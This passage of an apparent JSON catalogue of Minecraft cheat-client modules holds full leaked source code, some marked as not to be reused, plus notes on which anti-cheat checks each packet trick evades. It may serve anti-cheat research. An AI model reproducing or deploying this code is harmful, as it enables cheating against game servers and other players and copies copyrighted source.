1F, height + 9, color.getRGB());\n\n            if (itemStack != null) {\n                GlStateManager.pushMatrix();\n                GlStateManager.enableRescaleNormal();\n                GlStateManager.enableBlend();\n                GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);\n                RenderHelper.enableGUIStandardItemLighting();\n                mc.getRenderItem().renderItemAndEffectIntoGUI(itemStack, sr.getScaledWidth() / 2F - 17F, height + 4);\n                GlStateManager.disableRescaleNormal();\n                GlStateManager.disableBlend();\n                RenderHelper.disableStandardItemLighting();\n                GlStateManager.popMatrix();\n            } else CustomFont.drawCenteredString(\"?\", sr.getScaledWidth() / 2F + 0.5F, height + 6, -1);\n        }\n\n\n        if (blockCounter.is(\"Normal\")) {\n            final int height = sr.getScaledHeight() - 90;\n            RenderUtil.roundedRect((sr.getScaledWidth() / 2F) - 15, height, 30, 30, 6, new Color(0, 0, 0, 80));\n\n            CustomFont.drawCenteredString(String.valueOf(blockCount), sr.getScaledWidth() / 2F, height + 19, -1);\n\n            if (itemStack != null) {\n                GlStateManager.pushMatrix();\n                GlStateManager.enableRescaleNormal();\n                GlStateManager.enableBlend();\n                GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);\n                RenderHelper.enableGUIStandardItemLighting();\n                mc.getRenderItem().renderItemAndEffectIntoGUI(itemStack, sr.getScaledWidth() / 2F - 8F, height + 2);\n                GlStateManager.disableRescaleNormal();\n                GlStateManager.disableBlend();\n                RenderHelper.disableStandardItemLighting();\n                GlStateManager.popMatrix();\n            } else CustomFont.drawCenteredString(\"?\", sr.getScaledWidth() / 2F + 0.5F, height + 6, -1);\n        }\n    }\n\n    @Override\n    public void onBlur(final BlurEvent event) {\n        if (blockCounter.is(\"Normal\")) {\n            final ScaledResolution sr = new ScaledResolution(mc);\n            final int height = sr.getScaledHeight() - 90;\n\n            RenderUtil.roundedRect((sr.getScaledWidth() / 2F) - 15, height, 30, 30, 6, new Color(0, 0, 0, 80));\n        }\n    }\n\n    @Override\n    public void onMoveButton(final MoveButtonEvent event) {\n        if (jitter.isEnabled()) {\n            if (mc.gameSettings.keyBindForward.isKeyDown() || mc.gameSettings.keyBindBack.isKeyDown()) {\n                if (mc.thePlayer.ticksExisted % 2 == 0) event.setLeft(true);\n                else event.setRight(true);\n            }\n\n            if (mc.gameSettings.keyBindLeft.isKeyDown() || mc.gameSettings.keyBindRight.isKeyDown()) {\n                if (mc.thePlayer.ticksExisted % 2 == 0) event.setForward(true);\n                else event.setBackward(true);\n            }\n        }\n        if (telly.isEnabled() && MoveUtil.isMoving() && mc.thePlayer.onGround) {\n            switch (tellyMode.getMode()) {\n                case \"Legit\":\n                    event.setJump(true);\n                    break;\n                case \"Custom\":\n                    mc.thePlayer.motionY = tellyVerticalAmount.getValue();\n                    MoveUtil.strafe(tellyHorizontalAmount.getValue());\n                case \"Teleport\":\n                    mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + teleportOhMyGod.getValue(), mc.thePlayer.posZ);\n                    break;\n        }\n    }\n        event.setSneak(shiftPressed);\n}\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        final Packet<?> p = event.getPacket();\n\n        if (p instanceof C09PacketHeldItemChange) event.setCancelled(true);\n\n    }\n\n    @Override\n    public void onCanPlaceBlockEvent(final CanPlaceBlockEvent event) {\n        if (placeOn.is(\"Legit\")) {\n            this.placeBlock();\n        }\n    }\n\n    @Override\n    public void onPostMotion(final PostMotionEvent event) {\n        if (placeOn.is(\"Post\")) {\n            this.placeBlock();\n        }\n\n\n//        mc.gameSettings.keyBindJump.setKeyPressed(false);\n//\n//        if (mc.thePlayer.onGround && towerOnGroundTicks >= 3) {\n//            float[] jumpPos = new float[]{0.42f, 0.7532f, 1.00134f};\n//\n//            for (float pos : jumpPos) {\n//                PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + pos, mc.thePlayer.posZ, false));\n//            }\n//\n//            mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 1.1661, mc.thePlayer.posZ);\n//        }\n\n    }\n\n    public static double getRandomHypixelValues() {\n        SecureRandom secureRandom = new SecureRandom();\n        double value = secureRandom.nextDouble() * (1.0 / System.currentTimeMillis());\n        for (int i = 0; i < MathUtil.getRandom(MathUtil.getRandom(4, 6), MathUtil.getRandom(8, 20)); i++)\n            value *= (1.0 / System.currentTimeMillis());\n        return value;\n    }\n\n    public static double[] yawPos(float yaw, double value) {\n        return new double[]{-MathHelper.sin(yaw) * value, MathHelper.cos(yaw) * value};\n    }\n\n    public void placeBlock() {\n        final int blockSlot = BlockUtil.findBlock() - 36;\n\n        if (blockSlot < 0 || blockSlot > 9) return;\n\n        boolean switchedSlot = false;\n        if (slot != blockSlot) {\n            slot = blockSlot;\n            PacketUtil.sendPacketWithoutEvent(new C09PacketHeldItemChange(slot));\n            switchedSlot = true;\n        }\n\n        if (placePossibilities.isEmpty() || targetBlock == null || enumFacing == null || blockFace == null || slot < 0 || slot > 9)\n            return;\n\n        final MovingObjectPosition movingObjectPosition = mc.thePlayer.rayTraceCustom(mc.playerController.getBlockReachDistance(), mc.timer.renderPartialTicks, yaw, pitch);\n\n        if (movingObjectPosition == null) return;\n\n        final boolean sameY = (this.sameY.isEnabled() || (this.getModule(Speed.class).isEnabled() && !mc.gameSettings.keyBindJump.isKeyDown())) && MoveUtil.isMoving();\n        if (((int) startY - 1 != (int) targetBlock.yCoord && sameY)) return;\n\n        final Vec3 hitVec = movingObjectPosition.hitVec;\n        final ItemStack item = mc.thePlayer.inventoryContainer.getSlot(slot + 36).getStack();\n\n        if (!switchedSlot && ticksOnAir > placeDelay.getValue() + (randomisePlaceDelay.isEnabled() && !mc.gameSettings.keyBindJump.isKeyDown() ? Math.random() * 3 : 0) && ((BlockUtil.lookingAtBlock(blockFace, yaw, pitch, enumFacing.getEnumFacing(), rayCast.is(\"Strict\"))) || this.rayCast.is(\"Off\"))) {\n            if (!BlockUtil.lookingAtBlock(blockFace, yaw, pitch, enumFacing.getEnumFacing(), rayCast.is(\"Strict\"))) {\n                hitVec.yCoord = Math.random() + blockFace.getY();\n                hitVec.zCoord = Math.random() + blockFace.getZ();\n                hitVec.xCoord = Math.random() + blockFace.getX();\n            }\n\n            if (ViaMCP.getInstance().getVersion() > 47) {\n                if (swing.isEnabled()) mc.thePlayer.swingItem();\n                else PacketUtil.sendPacket(new C0APacketAnimation());\n            }\n\n            mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, item, blockFace, enumFacing.getEnumFacing(), hitVec);\n\n            if (ViaMCP.getInstance().getVersion() <= 47) {\n                if (swing.isEnabled()) mc.thePlayer.swingItem();\n                else PacketUtil.sendPacket(new C0APacketAnimation());\n            }\n\n            slowTicks = 3;\n            blocksPlaced++;\n        } else if (dragClick.isEnabled() && Math.random() > 0.5)\n            PacketUtil.sendPacket(new C08PacketPlayerBlockPlacement(item));\n    }\n\n    public static void silentRotationStrafe(final StrafeEvent event, final float yaw) {\n        final int dif = (int) ((MathHelper.wrapAngleTo180_float(mc.thePlayer.rotationYaw - yaw - 23.5F - 135.0F) + 180.0F) / 45.0F);\n        final float strafe = event.getStrafe();\n        final float forward = event.getForward();\n        final float friction = event.getFriction();\n        float calcForward = 0.0F;\n        float calcStrafe = 0.0F;\n        switch (dif) {\n            case 0: {\n                calcForward = forward;\n                calcStrafe = strafe;\n                break;\n            }\n\n            case 1: {\n                calcForward += forward;\n                calcStrafe -= forward;\n                calcForward += strafe;\n                calcStrafe += strafe;\n                break;\n            }\n\n            case 2: {\n                calcForward = strafe;\n                calcStrafe = -forward;\n                break;\n            }\n\n            case 3: {\n                calcForward -= forward;\n                calcStrafe -= forward;\n                calcForward += strafe;\n                calcStrafe -= strafe;\n                break;\n            }\n\n            case 4: {\n                calcForward = -forward;\n                calcStrafe = -strafe;\n                break;\n            }\n\n            case 5: {\n                calcForward -= forward;\n                calcStrafe += forward;\n                calcForward -= strafe;\n                calcStrafe -= strafe;\n                break;\n            }\n\n            case 6: {\n                calcForward = -strafe;\n                calcStrafe = forward;\n                break;\n            }\n\n            case 7: {\n                calcForward += forward;\n                calcStrafe += forward;\n                calcForward -= strafe;\n                calcStrafe += strafe;\n                break;\n            }\n        }\n\n        if (calcForward > 1.0F || (calcForward < 0.9F && calcForward > 0.3F) || calcForward < -1.0F || (calcForward > -0.9F && calcForward < -0.3F))\n            calcForward *= 0.5F;\n\n        if (calcStrafe > 1.0F || (calcStrafe < 0.9F && calcStrafe > 0.3F) || calcStrafe < -1.0F || (calcStrafe > -0.9F && calcStrafe < -0.3F))\n            calcStrafe *= 0.5F;\n\n        float d;\n        if ((d = calcStrafe * calcStrafe + calcForward * calcForward) >= 1.0E-4F) {\n            if ((d = MathHelper.sqrt_float(d)) < 1.0F) {\n                d = 1.0F;\n            }\n            d = friction / d;\n            final float yawSin = MathHelper.sin((float) (yaw * Math.PI / 180.0));\n            final float yawCos = MathHelper.cos((float) (yaw * Math.PI / 180.0));\n            mc.thePlayer.motionX += (calcStrafe *= d) * yawCos - (calcForward *= d) * yawSin;\n            mc.thePlayer.motionZ += calcForward * yawCos + calcStrafe * yawSin;\n        }\n    }\n\n    private EnumFacingOffset getEnumFacing(final Vec3 position) {\n        for (int x2 = -1; x2 <= 1; x2 += 2) {\n            if (!(PlayerUtil.getBlock(position.xCoord + x2, position.yCoord, position.zCoord) instanceof BlockAir)) {\n                if (x2 > 0) {\n                    return new EnumFacingOffset(EnumFacing.WEST, new Vec3(x2, 0, 0));\n                } else {\n                    return new EnumFacingOffset(EnumFacing.EAST, new Vec3(x2, 0, 0));\n                }\n            }\n        }\n\n        for (int y2 = -1; y2 <= 1; y2 += 2) {\n            if (!(PlayerUtil.getBlock(position.xCoord, position.yCoord + y2, position.zCoord) instanceof BlockAir)) {\n                if (y2 < 0) {\n                    return new EnumFacingOffset(EnumFacing.UP, new Vec3(0, y2, 0));\n                }\n            }\n        }\n\n        for (int z2 = -1; z2 <= 1; z2 += 2) {\n            if (!(PlayerUtil.getBlock(position.xCoord, position.yCoord, position.zCoord + z2) instanceof BlockAir)) {\n                if (z2 < 0) {\n                    return new EnumFacingOffset(EnumFacing.SOUTH, new Vec3(0, 0, z2));\n                } else {\n                    return new EnumFacingOffset(EnumFacing.NORTH, new Vec3(0, 0, z2));\n                }\n            }\n        }\n\n        return null;\n    }\n\n\n    //This methods purpose is to get block placement possibilities, blocks are 1 unit thick so please don't change it to 0.5 it causes bugs\n    private List<Vec3> getPlacePossibilities() {\n        final List<Vec3> possibilities = new ArrayList<>();\n        final int range = (int) Math.ceil(this.range.getValue() + this.expand.getValue() + 1);\n\n        for (int x = -range; x <= range; ++x) {\n            for (int y = -range; y <= range; ++y) {\n                for (int z = -range; z <= range; ++z) {\n                    final Block block = PlayerUtil.getBlockRelativeToPlayer(x, y, z);\n\n                    if (!(block instanceof BlockAir)) {\n                        for (int x2 = -1; x2 <= 1; x2 += 2)\n                            possibilities.add(new Vec3(mc.thePlayer.posX + x + x2, mc.thePlayer.posY + y, mc.thePlayer.posZ + z));\n\n                        for (int y2 = -1; y2 <= 1; y2 += 2)\n                            possibilities.add(new Vec3(mc.thePlayer.posX + x, mc.thePlayer.posY + y + y2, mc.thePlayer.posZ + z));\n\n                        for (int z2 = -1; z2 <= 1; z2 += 2)\n                            possibilities.add(new Vec3(mc.thePlayer.posX + x, mc.thePlayer.posY + y, mc.thePlayer.posZ + z + z2));\n                    }\n                }\n            }\n        }\n\n        possibilities.removeIf(vec3 -> !(PlayerUtil.getBlock(vec3.xCoord, vec3.yCoord, vec3.zCoord) instanceof BlockAir) || (mc.thePlayer.posX == vec3.xCoord && mc.thePlayer.posY + 1 == vec3.yCoord && mc.thePlayer.posZ == vec3.zCoord));\n\n        return possibilities;\n    }\n}\n\n// NOTE (AI): Rise 5.99's flagship scaffold: silent C09 switch (line ~856), cancelled C09 echoes (line ~804), C0B sneaking for eagle (lines ~414-421), placement send at line ~894. The full file shows the complete state machine: tower, eagle, sprint, rotations.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/player/Scaffold.java",
      "vanilla_hook": "PreMotionEvent for placement, PacketSendEvent to cancel C09, onDisable to release sneak.",
      "anti_cheat_notes": "Placement frequency and rotation-vs-face mismatch are the main flags. Rise 6.x splits scaffold into sprint/tower/downwards sub-modes (VulcanSprint, WatchdogJumpSprint, NCPTower, VerusDownwards) each tuned to a specific AC's rotation and timing checks.",
      "variations": "Rise 6.2.4/6.1.30 Scaffold.java routes placement through PlayBlockPlacementC2SPacket and Slot component; Sigma 4.11 Scaffold.java (1232 lines) has its own rotation and switch logic referencing C09 and C0B; Tenacity ScaffoldModule does not construct C08 directly. November Recode 2.0's ScaffoldModule places through playerController.onPlayerRightClick after a C09 silent switch, swings via swingItem() or a C0A packet, and adds tower modes; its VULCAN tower mode double-sends C08(null) as a fake placement."
     },
     {
      "name": "KillAura (Autoblock)",
      "found_in": [
       "Memeware 7.3",
       "Nekoware v1 private",
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30",
       "Sigma 4.11",
       "Spicy",
       "Tenacity 6.0",
       "November Recode 2.0"
      ],
      "purpose": "Send the invalid-position C08 (pos -1,-1,-1, face 255) so the server starts the item-use (blocking) state while the aura attacks.",
      "how_it_works": "Inside the aura's attack tick, before or after the C02 attack packet, send new C08PacketPlayerBlockPlacement(new BlockPos(-1, -1, -1), 255, heldItem, 0, 0, 0). The server's direction==255 branch runs tryUseItem, which sets isBlocking/isUsingItem on the player entity, giving damage reduction. Memeware's SingleAura sends it via PacketUtil.sendPacket with the current held item.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/combat/aura/SingleAura.java =====\n\npackage me.memewaredevs.client.module.combat.aura;\n\nimport me.memewaredevs.client.event.events.UpdateEvent;\nimport me.memewaredevs.client.module.combat.Aura;\nimport me.memewaredevs.client.module.combat.AutoPotion;\nimport me.memewaredevs.client.util.combat.CombatUtil;\nimport me.memewaredevs.client.util.combat.RotationUtils;\nimport me.memewaredevs.client.util.misc.Timer;\nimport me.memewaredevs.client.util.packet.PacketUtil;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.item.ItemSword;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\n\npublic class SingleAura {\n    private static Timer timer = new Timer();\n    private static boolean block;\n    public static boolean unblock;\n    private static boolean unblocked;\n    public static void doUpdate(final Aura aura, final UpdateEvent e, final Minecraft mc) {\n        boolean invisible = aura.getBool(\"Invisibles\");\n        double range = aura.getDouble(\"Range\");\n        boolean players = aura.getBool(\"Players\");\n        boolean monsters = aura.getBool(\"Monsters\");\n        boolean teams = false;\n        final Entity entity = CombatUtil.getTarget(teams, monsters, players, range, invisible);\n        final boolean autoBlock = aura.getBool(\"Auto Block\");\n        final long clickSpeed = aura.getDouble(\"Click Speed\").longValue();\n        Aura.isBlocking = mc.thePlayer.getHeldItem() != null\n                && mc.thePlayer.getHeldItem().getItem() instanceof ItemSword && autoBlock && CombatUtil.canBlock(\n                teams, false, true, range + 4.0, true);\n        BlockPos a = new BlockPos(-0.2223, -0.132, -0.312);\n        if (Aura.isBlocking) {\n            if (e.isPost() && block) {\n                PacketUtil.sendPacket(new C08PacketPlayerBlockPlacement(a, 255, mc.thePlayer.getHeldItem(), 0.0F, 0.0F, 0.0F));\n                unblock = true;\n            }\n        }\n        block = true;\n        if (AutoPotion.isPotting())\n            return;\n        Aura.currentEntity = (EntityLivingBase) entity;\n        if (entity != null) {\n            final float[] rots = RotationUtils.getRotations((EntityLivingBase) entity);\n            e.setYaw(rots[0]);\n            e.setPitch(rots[1]);\n            if (unblocked) {\n                mc.thePlayer.swingItem();\n                PacketUtil.sendPacket(new C02PacketUseEntity(entity, C02PacketUseEntity.Action.ATTACK));\n                unblocked = false;\n            }\n            if (timer.delay(1000L / clickSpeed) && e.isPre()) {\n                PacketUtil.sendPacket(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, a.offsetDown(), EnumFacing.UP));\n                unblocked = true;\n                block = false;\n                timer.reset();\n            }\n        }\n    }\n}\n\n// NOTE (AI): Memeware SingleAura: line ~41 sends the invalid-position C08 with face 255 to enter the blocking state. The file is the complete single-target aura with target validation and the autoblock send.\n",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/combat/aura/SingleAura.java",
      "vanilla_hook": "UpdateEvent / attack loop; PacketUtil.sendPacket for the C08.",
      "anti_cheat_notes": "The (BlockPos.ORIGIN, 255) pattern is a well-known autoblock signature; anti-cheats that count invalid placements flag it. Modern auras toggle between blocking and attacking with C07 RELEASE_USE_ITEM to look like legit sword play.",
      "variations": "Nekoware SingleAura/SwitchAura do the same; Rise 5.99 Aura.java and Rise 6.2.4/6.1.30 KillAura.java send it from their own packet paths; Sigma Killaura and InfiniteAura; Spicy Killaura; Tenacity KillAuraModule and TPAura reference C08 for the same trick. November Recode 2.0's KillAuraModule blocks by sending C08 with the held item (BASIC and VANILLA autoblock), sends C08(null) while the target hurtTime is above 2 (WATCHDOG), and releases with C07 RELEASE_USE_ITEM."
     },
     {
      "name": "NoSlow",
      "found_in": [
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30",
       "Sigma 4.11",
       "Spicy",
       "November Recode 2.0"
      ],
      "purpose": "Keep the server-side item-use state alive so eating/blocking does not slow the player, or cancel the slowdown server-side by re-sending C08.",
      "how_it_works": "While mc.thePlayer.isUsingItem(), repeatedly send new C08PacketPlayerBlockPlacement(currentEquippedItem) (the 255 item-use form) so the server keeps the use state and the client's movement speed is not reduced. Rise 5.99 NoSlow sends it from the motion event and cancels the vanilla slowdown; Rise 6.x splits into per-AC modes (NCP, Intave, Watchdog, Grim, Legit) that vary the packet rate and whether the item-use C08 or a click-window trick is used.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/movement/NoSlow.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.movement;\n\nimport dev.rise.Rise;\nimport dev.rise.event.impl.motion.PostMotionEvent;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.module.impl.combat.Aura;\nimport dev.rise.setting.impl.ModeSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.math.TimeUtil;\nimport dev.rise.util.player.PacketUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\nimport org.lwjgl.input.Mouse;\n\n/**\n * Makes you automatically sprint without pressing the sprint key.\n * <p>\n * Wtf is this description\n */\n@ModuleInfo(name = \"NoSlow\", description = \"Prevents you from slowing down when using items\", category = Category.MOVEMENT)\npublic final class NoSlow extends Module {\n\n    private final ModeSetting mode = new ModeSetting(\"Mode\", this, \"Vanilla\", \"Vanilla\", \"NCP\", \"Reverse NCP\", \"Hypixel\", \"Delay\", \"Intave\");\n    public final NumberSetting slowdown = new NumberSetting(\"Slowdown\", this, 0, 0, 80, 1);\n\n    //EntityPlayerSP 783\n\n    private boolean aBoolean, blocking, intaveFunnyBoolean;\n    private final TimeUtil timer = new TimeUtil();\n    private long delay;\n    private int ticks;\n\n    @Override\n    protected void onEnable() {\n        ticks = 0;\n        blocking = false;\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        final Packet<?> p = event.getPacket();\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        switch (mode.getMode()) {\n            case \"NCP\": {\n                if (mc.thePlayer.isBlocking()) {\n                    mc.playerController.syncCurrentPlayItem();\n                    PacketUtil.sendPacket(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN));\n                }\n                break;\n            }\n\n            case \"Hypixel\": {\n                if (mc.thePlayer.isBlocking()) {\n                    mc.gameSettings.keyBindUseItem.setKeyPressed(true);\n                }\n                break;\n            }\n\n            case \"Delay\": {\n                if (!mc.thePlayer.isBlocking()) aBoolean = false;\n\n                if (mc.thePlayer.isBlocking() && mc.thePlayer.ticksExisted % 5 == 0 && aBoolean) {\n                    mc.playerController.syncCurrentPlayItem();\n                    PacketUtil.sendPacket(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN));\n\n                    aBoolean = false;\n                }\n\n                if (mc.thePlayer.isBlocking() && mc.thePlayer.ticksExisted % 5 == 1 && !aBoolean) {\n                    mc.playerController.syncCurrentPlayItem();\n                    PacketUtil.sendPacket(new C08PacketPlayerBlockPlacement(mc.thePlayer.getCurrentEquippedItem()));\n\n                    aBoolean = true;\n                }\n                break;\n            }\n\n            case \"Reverse NCP\": {\n                if (mc.thePlayer.isBlocking()) {\n                    mc.playerController.syncCurrentPlayItem();\n                    PacketUtil.sendPacket(new C08PacketPlayerBlockPlacement(mc.thePlayer.getCurrentEquippedItem()));\n                }\n\n                break;\n            }\n\n            case \"Intave\":\n                if (mc.thePlayer.isBlocking() && timer.hasReached(delay)) {\n                    mc.playerController.syncCurrentPlayItem();\n                    PacketUtil.sendPacket(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN));\n                }\n                break;\n        }\n\n    }\n\n    @Override\n    public void onPostMotion(final PostMotionEvent event) {\n\n        switch (mode.getMode()) {\n            case \"NCP\": {\n                if (mc.thePlayer.isBlocking()) {\n                    mc.playerController.syncCurrentPlayItem();\n                    PacketUtil.sendPacket(new C08PacketPlayerBlockPlacement(mc.thePlayer.getCurrentEquippedItem()));\n                }\n                break;\n            }\n\n//            case \"Hypixel\": {\n//                if (mc.thePlayer.isBlocking()) {\n//                    mc.playerController.syncCurrentPlayItem();\n//                    PacketUtil.sendPacket(new C08PacketPlayerBlockPlacement(mc.thePlayer.getCurrentEquippedItem()));\n//                    PacketUtil.sendPacket(new C03PacketPlayer(mc.thePlayer.onGround));\n//                    PacketUtil.sendPacket(new C03PacketPlayer(mc.thePlayer.onGround));\n//                    PacketUtil.sendPacket(new C03PacketPlayer(mc.thePlayer.onGround));\n//                }\n//                break;\n//            }\n\n            case \"Reverse NCP\": {\n                if (mc.thePlayer.isBlocking()) {\n                    mc.playerController.syncCurrentPlayItem();\n                    PacketUtil.sendPacket(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN));\n                }\n\n                break;\n            }\n\n            case \"Intave\":\n                if (mc.thePlayer.isBlocking() && timer.hasReached(delay)) {\n                    mc.playerController.syncCurrentPlayItem();\n                    PacketUtil.sendPacket(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN));\n                    delay = 200;\n                    if (intaveFunnyBoolean) {\n                        delay = 100;\n                        intaveFunnyBoolean = false;\n                    } else\n                        intaveFunnyBoolean = true;\n                    timer.reset();\n                }\n                break;\n        }\n    }\n}\n\n// NOTE (AI): Rise 5.99 NoSlow: sends the item-use C08 (single-arg constructor, line ~87/97/120) from the movement handler while using an item. Complete file with mode toggles.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/movement/NoSlow.java",
      "vanilla_hook": "PreMotion/Motion event; PacketUtil.sendPacket.",
      "anti_cheat_notes": "Spamming the use C08 every tick is detected by Intave and Verus unless the rate matches legit eat patterns (hence Rise 6.x's GrimNoslow, OldIntaveNoSlow, NewNCPNoSlow, WatchdogNoSlow variants). Tenacity 6.0's NoSlowModule takes a different route: it sends C0EPacketClickWindow against the armor slot instead of C08.",
      "variations": "Sigma NoSlowdown.java and Spicy NoSlow.java send the same item-use C08; Rise 6.2.4/6.1.30 ship 5+ named modes sharing the C08 use form. November Recode 2.0's NoSlowDownModule in NEW_NCP mode sends C08(null) twice while blocking, or switches slots with C09 away and back for other items; WATCHDOG mode adds a trailing C08(null); GRIM mode multiplies the input instead of sending packets."
     },
     {
      "name": "AutoPot / AutoSoup (fast item use)",
      "found_in": [
       "Memeware 7.3",
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30",
       "Sigma 4.11",
       "November Recode 2.0"
      ],
      "purpose": "Consume potions, soup, gaps or heads faster than vanilla allows by spamming the item-use C08.",
      "how_it_works": "Scan the hotbar/inventory for the consumable, switch to its slot with C09, then send the C08 item-use form every tick (or on a cooldown) so the server processes the consumption without waiting for the client's use-tick timer. Rise 5.99 AutoPot switches to the potion slot with C09 and sends new C08PacketPlayerBlockPlacement(itemStack); Memeware AutoPotion does the same with the raw stack from the slot.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/combat/AutoPot.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.combat;\n\nimport dev.rise.Rise;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.player.PacketUtil;\nimport dev.rise.util.player.PlayerUtil;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.block.BlockLadder;\nimport net.minecraft.item.Item;\nimport net.minecraft.item.ItemPotion;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.potion.PotionEffect;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\nimport org.apache.commons.lang3.RandomUtils;\n\nimport java.util.ArrayList;\nimport java.util.Objects;\n\n@ModuleInfo(name = \"AutoPot\", description = \"Throws potions for you\", category = Category.COMBAT)\npublic final class AutoPot extends Module {\n\n    private final NumberSetting minHealth = new NumberSetting(\"Health\", this, 15, 1, 20, 1);\n    private final BooleanSetting randomiseRots = new BooleanSetting(\"Randomise Rotations\", this, true);\n    private final BooleanSetting packet = new BooleanSetting(\"Extra Packet\", this, false);\n    private final BooleanSetting jump = new BooleanSetting(\"Jump\", this, false);\n\n    private int ticksSinceLastSplash, ticksSinceCanSplash, oldSlot;\n    private boolean needSplash, switchBack;\n\n    private final ArrayList<Integer> acceptedPotions = new ArrayList() {{\n        add(6);\n        add(1);\n        add(5);\n        add(8);\n        add(14);\n        add(12);\n        add(10);\n        add(16);\n    }};\n\n    @Override\n    public void onDisable() {\n        needSplash = switchBack = false;\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        ticksSinceLastSplash++;\n\n        if (Objects.requireNonNull(Rise.INSTANCE.getModuleManager().getModule(\"Scaffold\")).isEnabled() || mc.thePlayer.isInLiquid() || (PlayerUtil.getBlockRelativeToPlayer(0, -1, 0) instanceof BlockAir || PlayerUtil.getBlockRelativeToPlayer(0, -1, 0) instanceof BlockLadder))\n            ticksSinceCanSplash = 0;\n        else\n            ticksSinceCanSplash++;\n\n        if (switchBack) {\n            PacketUtil.sendPacket(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN));\n            PacketUtil.sendPacket(new C09PacketHeldItemChange(oldSlot));\n            switchBack = false;\n            return;\n        }\n\n        if (ticksSinceCanSplash <= 1 || !mc.thePlayer.onGround)\n            return;\n\n        oldSlot = mc.thePlayer.inventory.currentItem;\n        for (int i = 36; i < 45; ++i) {\n            final ItemStack itemStack = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n            if (itemStack != null && mc.currentScreen == null) {\n                final Item item = itemStack.getItem();\n                if (item instanceof ItemPotion) {\n                    final ItemPotion p = (ItemPotion) item;\n                    if (ItemPotion.isSplash(itemStack.getMetadata())) {\n                        if (p.getEffects(itemStack.getMetadata()) != null) {\n                            final int potionID = p.getEffects(itemStack.getMetadata()).get(0).getPotionID();\n                            boolean hasPotionIDActive = false;\n\n                            for (final PotionEffect potion : mc.thePlayer.getActivePotionEffects()) {\n                                if (potion.getPotionID() == potionID && potion.getDuration() > 0) {\n                                    hasPotionIDActive = true;\n                                    break;\n                                }\n                            }\n\n                            if (acceptedPotions.contains(potionID) && !hasPotionIDActive && ticksSinceLastSplash > 20) {\n                                final String effectName = p.getEffects(itemStack.getMetadata()).get(0).getEffectName();\n\n                                if ((effectName.contains(\"regeneration\") || effectName.contains(\"heal\")) && mc.thePlayer.getHealth() > minHealth.getValue())\n                                    continue;\n\n                                if (jump.isEnabled()) {\n                                    event.setPitch(randomiseRots.isEnabled() ? -RandomUtils.nextFloat(89, 90) : -90);\n                                    if (!needSplash) {\n                                        mc.thePlayer.jump();\n                                        needSplash = true;\n\n                                        new Thread(() -> {\n                                            try {\n                                                